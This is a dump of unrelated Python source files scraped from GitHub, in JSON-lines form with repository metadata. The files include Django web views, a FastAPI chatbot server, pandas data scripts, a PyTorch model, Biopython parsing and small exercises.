saving_path):\n    if working_path == saving_path:\n        return\n\n    # Move models\n    src_path = os.path.join(working_path, 'models')\n    if os.path.exists(src_path):\n        dest_path = os.path.join(saving_path, 'models')\n        Path(dest_path).mkdir(parents=True, exist_ok=True)\n\n        for fname in os.listdir(src_path):\n            full_fname = os.path.join(src_path, fname)\n            if os.path.isfile(full_fname):\n                shutil.copyfile(full_fname, os.path.join(dest_path, fname))\n\n    # Move training results\n    src_path = os.path.join(working_path, 'train_results')\n    if os.path.exists(src_path):\n        dest_path = os.path.join(saving_path, 'train_results')\n        Path(dest_path).mkdir(parents=True, exist_ok=True)\n\n        for fname in os.listdir(src_path):\n            full_fname = os.path.join(src_path, fname)\n            if os.path.isfile(full_fname):\n                shutil.copyfile(full_fname, os.path.join(dest_path, fname))\n\n    # Move testing results\n    src_path = os.path.join(working_path, 'test_results')\n    if os.path.exists(src_path):\n        dest_path = os.path.join(saving_path, 'test_results')\n        Path(dest_path).mkdir(parents=True, exist_ok=True)\n\n        for fname in os.listdir(src_path):\n            full_fname = os.path.join(src_path, fname)\n            if os.path.isfile(full_fname):\n                shutil.copyfile(full_fname, os.path.join(dest_path, fname))\n\n\ndef set_seed(seed):\n    np.random.seed(seed)\n    torch.manual_seed(seed)\n    random.seed(seed)\n","repo_name":"TortillasAlfred/ift7020-offlineRL","sub_path":"core/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":10581,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"8540980125","text":"#from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .models import Board, Customer, Post\n\nfrom .forms import *\nfrom django.views import generic\n\nfrom django.shortcuts import render, get_object_or_404, HttpResponseRedirect, redirect\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.contrib.auth import authenticate,login as dj_login\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.template import RequestContext\n\n\n# Create your views here.\ndef home(request):\n    boards = Board.objects.all()\n    return render(request, 'index.html',{\"boards\" : boards})\n\ndef board_search(request):\n    boards = Board.objects.filter(title_post__contains = request.GET['board_search'])\n    return render(request,'index.html',{\"boards\": boards})\n\n\ndef lifestyle(request):\n    return render(request, 'lifestyle.html')\n\ndef food(request):\n    return render(request, 'food.html')\n\ndef health(request):\n    return render(request, 'health.html')\n\ndef beauty(request):\n    return render(request, 'beauty.html')\n\ndef video(request):\n    return render(request, 'video.html')\n\ndef dashboard(request):\n    return render(request, 'dashboard.html')\n\ndef create_post(request):\n    if request.method == 'POST':\n        context = RequestContext(request)\n        return redirect('home')\n\n    return render(request, 'create_post.html')\n\ndef register(request):\n    \n    \n    if request.method == 'POST':\n        form = UserCreationForm(request.POST)\n        if form.is_valid():\n            context = RequestContext(request)\n            form.save()\n            user = form.save()\n            login(request, user)\n            return redirect('posts:list',context)\n    else:\n        form = UserCreationForm()\n    return render(request, 'register.html', {'form': form})\n \n\nclass PostList(generic.ListView):\n    queryset = Post.objects.filter(status=1).order_by(\"-created_on\")\n    template_name = \"post_page.html\"\n    paginate_by = 3\n\n\ndef post_detail(request, slug):\n    \n    template_name = \"post_detail.html\"\n    post = get_object_or_404(Post, slug=slug)\n    comments = post.comments.filter(active=True).order_by(\"-created_on\")\n    new_comment = None\n    # Comment posted\n    if request.method == \"POST\":\n        comment_form = CommentForm(data=request.POST)\n        if comment_form.is_valid():\n\n            # Create Comment object but don't save to database yet\n            new_comment = comment_form.save(commit=False)\n            # Assign the current post to the comment\n            new_comment.post = post\n            # Save the comment to the database\n            new_comment.save()\n    else:\n        comment_form = CommentForm()\n\n    return render(\n        request,\n        template_name,\n        {\n            \"post\": post,\n            \"comments\": comments,\n            \"new_comment\": new_comment,\n            \"comment_form\": comment_form,\n        },\n    )\n\ndef login(request):\n\tif request.user.is_authenticated:\n\t\treturn redirect('home')\n\telse:\n\t\tif request.method == 'POST':\n\t\t\tusername = request.POST.get('username')\n\t\t\tpassword =request.POST.get('password')\n\n\t\t\tuser = authenticate(request, username=username, password=password)\n\n\t\t\tif user is not None:\n\t\t\t\tdj_login(request, user)\n\t\t\t\treturn redirect('home')\n                \n\t\t\telse:\n\t\t\t\tmessages.info(request, 'Username OR password is incorrect')\n\n\t\tcontext = {}\n\t\treturn render(request, 'login.html', context)\n\n","repo_name":"beau3064/Beauty_Good_Health","sub_path":"health/health_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71244558912","text":"#!/usr/bin/python3\n\nnum = 1\nfactorial = 1\nnum = int(input(\"Enter A Number: \" ))\n\nif num < 0:\n\tprint(\"Factorial Does Not Exist.\")\nelif num == 0:\n\tprint(1)\nelse:\n\tfor i in range(1,num+1):\n\t\tfactorial = factorial*i\n\tprint(factorial)\t\n\n\n","repo_name":"EverettReynolds/Programming-Languages","sub_path":"collatzconjecture-main/Class Examples/python/fact.py","file_name":"fact.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15617891464","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom var_dump import var_dump\n\n# 生成器 一边循环一边计算\nL = [x * x for x in range(10)]\ng = (x * x for x in range(10))\nprint(L)\nprint(g)\nprint(next(g), next(g), next(g))\n# 建立生成器后一般都不使用next()调用，而是通过for循环来迭代 当next()调用超出范围时会报StopIteration错误\nfor n in g:\n    print(n)\n\n\n# 斐波拉切数列，除第一个和第二个数外，任何一个数由前面两个数相加得到\ndef fib(m):\n    t, a, b = 0, 0, 1\n    print('========')\n    while t < m:\n        print(b)\n        a, b = b, a + b\n        t = t + 1\n    return 'done'\n\n\nfib(6)\n\n\n# 若函数定义中包含yield关键字，该函数是一个生成器\ndef fib1(m):\n    t, a, b = 0, 0, 1\n    while t < m:\n        yield b\n        a, b = b, a + b\n        t = t + 1\n        return 'done'\n\n\nf = fib1(5)\n# print(f, next(f), next(f))\n\n\n# 生成器和函数执行流程不一样，函数式顺序执行，遇到return语句或者最后一行函数语句就返回；\n# 生成器每次调用next()执行，遇到yield返回，在此执行从上次返回的yield语句处执行\nh = fib1(6)\nprint('========')\nwhile True:\n    try:\n        x = next(h)\n        print('x =', x)\n    except StopIteration as e:\n        print('exception:', e.value)\n        break\n\n\n# 练习\n# 杨辉三角定义如下：\n#           1\n#          / \\\n#         1   1\n#        / \\ / \\\n#       1   2   1\n#      / \\ / \\ / \\\n#     1   3   3   1\n#    / \\ / \\ / \\ / \\\n#   1   4   6   4   1\n#  / \\ / \\ / \\ / \\ / \\\n# 1   5   10  10  5   1\n# 把每一行看做一个list，试写一个generator，不断输出下一行的list\ndef triangles(i=0):\n    Last = [1]\n    # print(Last)\n    yield Last\n    while True:\n        i = i - 1\n        L = [1]\n        for x in range(1, len(Last)):\n            L.append(Last[x - 1]+Last[x])\n        L.append(1)\n        Last = L[:]\n        print(Last)\n        yield L\n        if i == 0:\n            break\n\n\ntemp = triangles(10)\nprint(list(temp))\n","repo_name":"weilonger/python-practice","sub_path":"src/com/weilong/advancedFeature/Generator.py","file_name":"Generator.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31493819452","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\n\n\n# In[7]:\n\n\nroot = ''\n\n\n# In[15]:\n\n\ndef parse_date(date):\n    try:\n        date_p = pd.to_datetime(date,format=\"%Y %b %d %I:%M:%S %p\", errors='raise')\n    except:\n        date_p = pd.to_datetime(date,format=\"%m/%d/%Y %I:%M:%S %p\", errors='raise')\n    return date_p\n\n#2018 Jul 28 03:28:09 PM\n\n\n# In[25]:\n\n\nfile = root + 'traffic_speed.csv'\ndf = pd.read_csv(file, header=0, parse_dates=['DATA_AS_OF'],\n                usecols=['DATA_AS_OF','BOROUGH','LINK_POINTS','SPEED','LINK_ID'],\n                skipinitialspace=True,\n                date_parser = parse_date)\ndf.info()\n\n\n# In[26]:\n\n\ndf_link_ids = df[['LINK_ID','LINK_POINTS','BOROUGH']].drop_duplicates()\ndf_link_ids.info()\ndf_link_ids.head()\n\n\n# In[27]:\n\n\ndf_link_ids = df_link_ids.set_index('LINK_ID')\ndf_link_ids.info()\ndf_link_ids.head()\n\n\n# In[28]:\n\n\ndf_link_ids.to_csv(root+'traffic_links.csv')\n\n\n# In[30]:\n\n\ndf_clean = df[['DATA_AS_OF','LINK_ID','SPEED']].set_index('DATA_AS_OF')\ndf_clean.head()\n\n\n# In[31]:\n\n\ndf_clean = df_clean.loc['2016-01-01':'2017-12-31']\ndf_clean.info()\n\n\n# In[32]:\n\n\ndf_clean = df_clean.groupby('LINK_ID')['SPEED'].resample('1H').mean()\n\n\n# In[34]:\n\n\ndf_clean.head()\n\n\n# In[35]:\n\n\ndf_clean.to_csv(root+'traffic_hourly.csv')\n\n","repo_name":"sirisurab/transpred","sub_path":"data/traffic/process_traffic_data.py","file_name":"process_traffic_data.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"3248230436","text":"import pandas as pd\nimport numpy as np\n\n# filepath = \"results/c3t_scenarios_jitter9\"\n# num_scenarios = 18\n# frames = []\n# for scenario in range(1, num_scenarios+1):\n#     frame = pd.read_csv(f\"{filepath}/scenario{scenario}/metrics_fram.csv\", index_col=0).T\n#     frames.append(frame)\n\n# metrics = ['safety violations', 'utility', 'thall_utility', 'dose error by person',\n#            'efficacy by person', 'toxicity by person', 'final dose error']\n# for metric in metrics:\n#     metric_frame = pd.DataFrame(index = frames[0]['subgroup'].values)\n#     for scenario in range(1, num_scenarios+1):\n#         metric_frame[f\"scenario{scenario}\"] = frames[scenario-1][metric].values\n\n#     metric_frame.to_csv(f\"{filepath}/{metric}.csv\")\n\n\n# filepath = \"results/c3t_num_samples_jitter2\"\n# test_sample_nums = np.arange(51, 1000, 9)\n\n# frames = []\n# for num_samples in test_sample_nums:\n#     frame = pd.read_csv(f\"{filepath}/num_samples{num_samples}/metrics_fram.csv\", index_col=0).T\n#     frames.append(frame)\n\n# metrics = ['safety violations', 'utility', 'thall_utility', 'dose error by person',\n#            'efficacy by person', 'toxicity by person', 'final dose error']\n# for metric in metrics:\n#     metric_frame = pd.DataFrame(index = frames[0]['subgroup'].values)\n#     for idx, num_samples in enumerate(test_sample_nums):\n#         metric_frame[num_samples] = frames[idx][metric].values\n\n#     metric_frame.to_csv(f\"{filepath}/{metric}.csv\")\n\n\nfilepath = \"results/c3t_ratios1000_3\"\npatient_ratios = np.arange(0.1, 1.0, 0.05)\nframes = []\nfor patient_ratio in patient_ratios:\n    frame = pd.read_csv(f\"{filepath}/ratio{patient_ratio}/metrics_fram.csv\", index_col=0).T\n    frames.append(frame)\n\nmetrics = ['safety violations', 'utility', 'thall_utility', 'dose error by person',\n           'efficacy by person', 'toxicity by person', 'final dose error']\nfor metric in metrics:\n    metric_frame = pd.DataFrame(index = frames[0]['subgroup'].values)\n    for idx, patient_ratio in enumerate(patient_ratios):\n        metric_frame[round(patient_ratio, 2)] = frames[idx][metric].values\n\n    metric_frame.to_csv(f\"{filepath}/{metric}.csv\")","repo_name":"chieni/dose_allocation","sub_path":"c3t_analysis.py","file_name":"c3t_analysis.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"23637279027","text":"from asyncio import sleep\n\nimport asyncio\nimport json\nimport os\nimport sys\nimport threading\nimport time\nfrom fastapi import FastAPI, Request, Response\n\nfrom fastapi.responses import StreamingResponse\n\nfrom loguru import logger\nfrom config import Config\n\nfrom route.hello import Hello\nfrom route.llm import Llm\nfrom services.ChatBotMemory import ChatBotMemory\nfrom services.ChatgptOriginal import ChatgptOriginal\nfrom services.AgentFunctionChat import AgentFunctionChat\nfrom services.llma import LLma\nfrom services.ThreadedGenerator import ThreadedGenerator\nfrom pydantic import BaseModel\nfrom fastapi.middleware.cors import CORSMiddleware\n\n\nlogger.add('logs/app.log', rotation='500 MB', retention='1 days',\n           level='INFO', encoding=\"utf-8\", enqueue=True, compression=\"tar.gz\")\nlogger.info('server init ')\n\napp = FastAPI()\n\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=[\"*\"],\n    allow_credentials=True,\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n\n@app.api_route('/streamTest')\nasync def streamed_response():\n    def generate():\n        yield 'Hello asdf'+\"\\r\\n\"\n        time.sleep(1)\n        yield 'asdf'+\"\\r\\n\"\n        time.sleep(1)\n        yield '!'+\"\\r\\n\"\n    return StreamingResponse(generate(), media_type='text/stream')\n\n\n@app.api_route('/hello', methods=['GET', 'POST'])\nasync def hello(request: Request):\n    logger.info('This is an info message')\n    if request.method == 'POST':\n        return Hello.post()\n    else:\n        return Hello.get()\n    \n@app.api_route('/chatgpt/chat', methods=['GET', 'POST'])\nasync def chatgptChat(request: Request):\n    \n    if request.method == 'POST':\n        return ChatgptOriginal.chat(content,1)\n    else:\n        content = request.query_params[\"content\"]\n        user_id = request.query_params[\"user_id\"]\n        return ChatBotMemory().chat(content,user_id)\n\n\n@app.api_route('/chatgpt/chatStream', methods=['GET', 'POST'])\nasync def chatgptChatStream(request: Request):\n    if request.method == 'POST':\n        return streamingresponse(ChatgptOriginal.streamChat(content,1), media_type='text/stream')\n    else:\n        content = request.query_params[\"content\"]\n        user_id = request.query_params[\"user_id\"]\n        #return streamingresponse(Chatgpt.streamChat(content,1), media_type='text/stream')\n        return StreamingResponse(ChatBotMemory.streamChat(content, user_id), media_type='text/stream')\n\n@app.api_route('/llm/chat', methods=['GET', 'POST'])\nasync def llmChat(request: Request, q:str=None):\n    print(\"method:\",request.method)\n    if request.method == 'POST':\n        content_type = request.headers[\"Content-Type\"]\n        if content_type == \"application/json\":\n            json_body = await request.body()\n            print(\"json_body:\", json_body)\n            body = json.loads(json_body)\n            # 如果参数校验失败，则返回 400 状态码和错误信息\n            return Llm.chat(body[\"content\"])\n    else:\n        content = request.query_params[\"content\"]\n\n        print(content)\n        return Llm.chat(content)\n\n\n@app.api_route('/llm/chatStream', methods=['GET', 'POST'])\nasync def chatStream(request: Request):\n    if request.method == 'POST':\n        content_type = request.headers[\"Content-Type\"]\n        if content_type == \"application/json\":\n            json_body = await request.body()\n            print(\"json_body:\", json_body)\n            body = json.loads(json_body)\n            return StreamingResponse(Llm.chatStream(body[\"content\"]), media_type=\"text/event-stream\")\n    else:\n        content = request.query_params[\"content\"]\n        return StreamingResponse(Llm.chatStream(content), media_type=\"text/event-stream\")\n\n\n# 生成索引\n@app.api_route('/llm/create-index', methods=['GET', 'POST'])\nasync def llmCreateIndex(request: Request):\n    if request.method == 'POST':\n\n        return Llm.createIndox()\n    else:\n        return Llm.createIndox()\n    \n@app.api_route('/knowbox/chat', methods=['GET', 'POST'])\nasync def knowChat(request: Request, q:str=None):\n    print(\"method:\",request.method)\n    if request.method == 'POST':\n        content_type = request.headers[\"Content-Type\"]\n        if content_type == \"application/json\":\n            json_body = await request.body()\n            print(\"json_body:\", json_body)\n            body = json.loads(json_body)\n            # 如果参数校验失败，则返回 400 状态码和错误信息\n            return AgentFunctionChat.askQuestionChroma(body[\"content\"])\n    else:\n        content = request.query_params[\"content\"]\n        user_id = request.query_params[\"user_id\"] if \"user_id\" in request.query_params else \"11234\"\n        print(content)\n        print(user_id)\n        return AgentFunctionChat().askQuestionChroma(user_id,content)\n\n\n    \n@app.api_route('/knowbox/chatStream', methods=['GET', 'POST'])\nasync def knowChatStream(request: Request, q:str=None):\n    print(\"method:\",request.method)\n    if request.method == 'POST':\n        content_type = request.headers[\"Content-Type\"]\n        if content_type == \"application/json\":\n            json_body = await request.body()\n            print(\"json_body:\", json_body)\n            body = json.loads(json_body)\n            # 如果参数校验失败，则返回 400 状态码和错误信息\n            return AgentFunctionChat.askQuestionChroma(body[\"content\"])\n    else:\n        content = request.query_params[\"content\"]\n        user_id = request.query_params[\"user_id\"] if \"user_id\" in request.query_params else \"11234\"\n\n        print(content)\n        return StreamingResponse(AgentFunctionChat().askQuestionChromaStream(user_id,content), media_type=\"text/event-stream\")\n\n\n\n\nif __name__ == '__main__':\n    logger.info('app RUN')\n","repo_name":"heaviii/chatbot-api","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37491158317","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom django.core.files.storage import default_storage\nfrom django.core.files.base import ContentFile\nfrom .models import consultas, obtenerInfoPrincipio,obtenerInfoPorCategoria,obtenerInfoCadena, obtenerCategorias, introducirProducto, obtenerCategoriasEleccion\nfrom .forms import ProductoFormulario, LoginFormulario\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import authenticate, login\nimport os\nimport logging\nlogger = logging.getLogger(__name__)\n\n# Create your views here.\n\n# Por defecto, con esto muestro html de enlaces\ndef index(request):\n    lista_productos = obtenerInfoPrincipio()\n    categs = obtenerCategorias()\n    return render(request,'index.html',{'lista':lista_productos,'categorias':categs})\n\n\n# Aquí hago lo respectivo a consultas y devolver plantillas\n\ndef funcionAuxP1(request):\n    response = \"<h1>Consultas</h1>\"\n    response += \"<a href=/etienda/consultasP1/1/>Electrónica entre 100 y 200€, ordenados por precio</a><br>\"\n    response += \"<a href=/etienda/consultasP1/2/>Productos que contengan la palabra 'pocket' en la descripción</a><br>\"\n    response += \"<a href=/etienda/consultasP1/3/>Productos con puntuación mayor de 4</a><br>\"\n    response += \"<a href=/etienda/consultasP1/4/>Ropa de hombre, ordenada por puntuación </a><br>\"\n    response += \"<a href=/etienda/consultasP1/5/>Facturación total</a><br>\"\n    response += \"<a href=/etienda/consultasP1/6/>Facturación por categoría de producto</a>\"\n\n    return HttpResponse(response)\n\ndef consultasP1(request,number):    \n    devolv = consultas(number)\n    response = \"<p>Consulta número {}:</p>\".format(number)\n    if (number>=1 and number<=4):\n        for prod in devolv:\n            response+= f\"<li>{prod}</li>\"\n    if number==5:\n        response+=\"<p>La facturación total es de \"+str(devolv)+\"</p>\"\n    if number==6:\n        response+=\"<p>La facturación por categoría es:</p>\"\n        for cat in devolv:\n            response += \"<p>\" + cat + \": \" + str(devolv[cat]) + \"</p>\"\n\n\n    return HttpResponse(response)\n\ndef buscarCategoria(request,category):\n    lista_prods_categoria = obtenerInfoPorCategoria(category)\n    categs = obtenerCategorias()\n    logger.info(\"Products of the category \"+category)\n    return render(request,'listing-products.html',{'lista':lista_prods_categoria,'categorias':categs})\n\ndef filtrarCadena(request):\n    cadena = request.GET.get('cadena','')\n    categs = obtenerCategorias()\n    lista_prods_cadena = obtenerInfoCadena(cadena)\n    logger.info(\"Products with substring \"+cadena)\n    return render(request,'listing-products.html',{'lista':lista_prods_cadena,'categorias':categs})\n\n@login_required   #Lo pongo, aunque no se va a ver el botón a menos que esté iniciada la sesión (creo que es buena práctica en el diseño de la interfaz)\ndef formularioInsertarProducto(request):\n    #¿Devolver lista con las categorías para la selección si es de categoría existente?\n    form = ProductoFormulario()\n    categs = obtenerCategorias()\n    #categs_elegir = obtenerCategoriasEleccion()\n    logger.info(\"Insert page for new products\")\n    return render(request,'insert_product_form.html',{'form':form,'categorias':categs})\n\n@login_required \ndef insertarProducto(request):  # Accesible por petición POST de formulario\n    logger.info(\"Inserting products within a data base\")\n\n    if request.method == 'POST' and request.FILES['imagen']:\n        form = ProductoFormulario(request.POST,request.FILES)\n        if form.is_valid():\n            nombre = form.cleaned_data['nombre']\n            precio = form.cleaned_data['precio']\n            descripcion = form.cleaned_data['descripcion']\n            categoria = form.cleaned_data['categoria']\n            nueva_categoria = form.cleaned_data['nueva_categoria']\n            imagen = form.cleaned_data['imagen']\n\n            im_name = imagen.name\n            guardarImagen(imagen)\n\n            #if not nombre[0].isupper():\n            #    messages.error(request,'First letter of the name must be a capital letter')\n            #    return render(request,'insert_product_form.html',{'form':form})\n\n            if nueva_categoria == '' and categoria == '':\n                messages.error(request,'You have to select a category or introduce a new one!')\n                return render(request,'insert_product_form.html',{'form':form})\n\n\n            if nueva_categoria != '':\n                categoria = nueva_categoria #Con MongoDB no tengo porqué comprobar que no esté esa categoría ya\n\n            imagen_ruta = 'imagenes/'+str(im_name)\n            exito = introducirProducto(nombre,precio,descripcion,categoria,imagen_ruta)\n            if exito==1:\n                messages.success(request,'Product has been storaged!')\n            else:\n                messages.error(request,'An error happened storaging the product. Check fields! First letter of the name must be a capital letter. You have given '+nombre)\n                return render(request,'insert_product_form.html',{'form':form})\n            form = ProductoFormulario()\n            return render(request,'insert_product_form.html',{'form':form})\n        else:\n            nombre_errors = form.errors.get('nombre',None)\n\n            if nombre_errors and 'Invalid.' in nombre_errors:\n                messages.error(request,'Name must start with capital letter')\n            else:\n                messages.error(request,'Check fields. Something is not correct. Fill all marked fields')\n\n            form = ProductoFormulario()\n\n    return render(request,'insert_product_form.html',{'form':form})\n\ndef formularioLogin(request):   # Lo hago para poder usar la funcionalidad de los formulario en DJango\n    form = LoginFormulario()\n    categs = obtenerCategorias()\n    logger.info(\"Page for logging action\")\n\n    return render(request,'registration/login.html',{'form':form,'categorias':categs})\n\n\ndef comprobarDatosLogin(request):\n    logger.info(\"Checking if a user is in DB\")\n    \n    if request.method == 'POST':\n        form = LoginFormulario(request.POST)\n\n        if form.is_valid():\n            username = form.cleaned_data['username']\n            password = form.cleaned_data['contrasenia']\n            user = authenticate(request, username=username, password=password)\n            if user is not None:\n                login(request, user)\n                return redirect(\"/etienda\")\n            else:\n                messages.error(request, \"User given is not registered\")\n        else:\n            messages.error(request, 'Please, fill all inputs')\n\n            # Imprime los errores del formulario para depurar\n            print(form.errors)\n    else:\n        form = LoginFormulario()\n\n    return render(request, 'registration/login.html', {'form': form})\n\n# -----------------------------------------------------------------------------------------------------------------------------------------------------------\n\n# FUNCIONES AUXILIARES\n\ndef guardarImagen(imagen):\n    saving = 'imagenes/'+imagen.name\n    default_storage.save(saving,ContentFile(imagen.read()))\n\n    return 1\n","repo_name":"AlvaroRodriguezGallardo/PracticasDAI","sub_path":"P2/e-commerce/etienda/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7170,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33098070825","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass ConvTransformer(nn.Module):\n\n    def __init__(self, config):\n        super(ConvTransformer, self).__init__()\n\n        self.config = config\n        self.device = torch.device(\"cuda\" if self.config['use_cuda'] else \"cpu\")\n\n        seq_len = config['seq_len']\n        filters = [1] + config['n_filters']\n        convs = []\n        print(\"Intermediate sizes:\")\n        for i in range(len(config['kernel_size'])):\n            out_seq_len = seq_len // config['conv_stride'][i] + 1\n            print(seq_len, out_seq_len)\n\n            conv_block = nn.Sequential(\n                nn.Conv1d(filters[i], filters[i+1], \n                    kernel_size=config['kernel_size'][i],\n                    padding=config['kernel_size'][i] // 2,\n                    stride=config['conv_stride'][i]),\n                nn.BatchNorm1d(filters[i+1]),\n                nn.ReLU(),\n            )\n\n            convs.append(conv_block)\n            seq_len = out_seq_len\n\n        self.convs = nn.Sequential(*convs)\n\n        dense = []\n        in_size = out_seq_len * config['n_filters'][-1]\n        for size in config['dense_size']:\n\n            dense_block = nn.Sequential(\n                nn.Linear(in_size, size),\n                nn.BatchNorm1d(size),\n                nn.ReLU(),\n                nn.Dropout(config['dropout'])\n            )\n\n            in_size = size\n            dense.append(dense_block)\n\n        dense.append(\n            nn.Linear(in_size, 1)\n        )\n\n        self.dense = nn.Sequential(*dense)\n\n        self.criterion = nn.L1Loss().to(self.device)\n\n    def forward(self, x, labels=None):\n\n        x = x.unsqueeze(1)\n        x = self.convs(x)\n        x = x.view(x.size(0), -1)\n        x = self.dense(x)\n\n        if labels is not None:\n            return x, self.criterion(x, labels)\n        else:\n            return x\n\n\nclass CustomLoss:\n\n    def __init__(self, config, device):\n\n        self.loss = nn.CrossEntropyLoss().to(device)\n\n    def __call__(self, output, labels):\n\n        loss = self.loss(output, labels)\n\n        return loss","repo_name":"FelixAbrahamsson/LANL-Earthquake","sub_path":"utils/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15218036325","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\n\"\"\"\n\nfrom Bio import SeqIO\nimport fnmatch\nfrom BioSQL import BioSeqDatabase\n\n\n#server = BioSeqDatabase.open_database(driver=\"sqlite3\", db =\"Test_DB.db\")\n#\n#\n#\n#print('server created: %s' % server)\n#\n##server.remove_database(\"GB_files\")\n#del server[\"GB_files\"]\n#server.commit()\n#db = server.new_database(\"GB_files\")\n##loading = BioSeqDatabase.Loader.DatabaseLoader(server, db)\n#\n#\n#print('database created GB_files: %s' % db)\n#server.commit()\n#for x in server.keys():\n#    print(x)\n\n\n\noutput1 = open(\"SeqIO_Class.txt\", \"w\")\noutput2 = open(\"SeqIO_modules.txt\", \"w\")\ntemp = []\nfile = \"vertebrate_mammalian.535.rna.gbff\"\nrec = 0\ncount = 0\n#for seq_record in SeqIO.parse(file, \"genbank\"):\n#print(seq_record.id.count(\".\"))\n#coun = db.load(SeqIO.parse(file, \"genbank\"))\n\n\n#input('this is what the genbank file looks liek')\n#print(coun)\n#print(\"this database contains %i records\" % len(db))\n#input('this is what the database file looks like')\n#server.commit()\n    \ninput('next')\nfor record in SeqIO.parse(file, \"genbank\"):\n    print(dir(record))\n    output1.write(\"Here is what's available in the record class\\n\\n\")\n    \n    for x in dir(record):\n        if fnmatch.fnmatch(x, '_*_') == True:\n            continue\n        output1.write('\\t' + str(x) + '\\n')\n        output1.write((\"\\t\\tHere's what's available in the \\'%s\\' module\" % x) + '\\n')\n        count = 0\n    output2.write(\"Here is what's available in the record class\\n\\n\")\n    \n    for x in dir(record):\n        for y in dir(x):\n            count = count + 1\n            if fnmatch.fnmatch(y, '_*_') == True:\n                continue\n            #if count == 5:\n                #print('')\n            if count > 1:\n                output2.write('\\t\\t\\t')\n            output2.write(str(y))\n            \n    print(record.annotations.keys())\n    print(record.annotations.values())\n    print(record.seq)\n    print(dir(record.seq))\n    rec = rec + 1\n    print(\"this is record %s\" % str(rec))\n    print(record)\n    input('')\n    print(record.annotations['gi'])\n    ct = 0\n    for this in record.features:\n        print(this.type)\n        print(this.qualifiers)\n        #print(this.type.qualifiers)\n        print(this)\n        input(\"ok\")\n    for this in record.features:\n        if this.type == 'gene':\n            ct = ct + 1\n            name = str(this.qualifiers['gene'])\n            print(name)\n            \n            print(\"\\n This is feature #: \" + str(ct))\n            print(\"And this is the type: \" + str(this.type))\n            #print(this.qualifiers['note'])\n            print(this.extract(record.seq))\n            print(\"\\n\")\n","repo_name":"datasnakes/cookiecutter-orthoevol","sub_path":"{{ cookiecutter.project_slug }}/misc/GBFF/GBFF_parsing.py","file_name":"GBFF_parsing.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"32102009559","text":"import sys\n\nwhile True:\n    temp = list(map(int, sys.stdin.readline().split()))\n    if temp[0] == 0:\n        break\n\n    data = temp[1:]\n    ans, height = -float('inf'), []\n    for i in range(len(data)):\n\n        start_idx = -1\n        while height and height[-1][0] > data[i]:\n            value, start_idx = height.pop()\n            ans = max(value * (i - start_idx), ans)\n\n        if start_idx != -1:\n            height.append([data[i], start_idx])\n            continue\n\n        height.append([data[i], i])\n\n    for i in range(len(height)):\n        ans = max(height[i][0] * (temp[0] - height[i][1]), ans)\n\n    print(ans)","repo_name":"LONGNEW/Problem_Solving","sub_path":"수학 & greedy/BOJ 6549 히스토그램에서 가장 큰 직사각형.py","file_name":"BOJ 6549 히스토그램에서 가장 큰 직사각형.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2068899467","text":"from SteamAPI import SteamAPI\n\nif __name__ == \"__main__\":\n    steam_api = SteamAPI()\n    app_list = steam_api.get_app_list()\n    #测试获取10个游戏的信息\n    if app_list is not None:\n        max_games = 10\n        games_count = 0\n\n        for app_id, app_name in app_list.items():\n            print(f\"AppID: {app_id}, 游戏名称: {app_name}\")\n\n            game_info = steam_api.get_game_info(app_id, app_name)\n\n            if game_info is not None:\n                print(f\"游戏信息: {game_info}\")\n                games_count += 1\n\n                if games_count >= max_games:\n                    break\n            else:\n                print(f\"未找到游戏信息 for AppID: {app_id}\")\n    else:\n        print(\"无法获取App列表\")\n","repo_name":"Noob-coucou/SteamGameAPI","sub_path":"SteamAPItest.py","file_name":"SteamAPItest.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
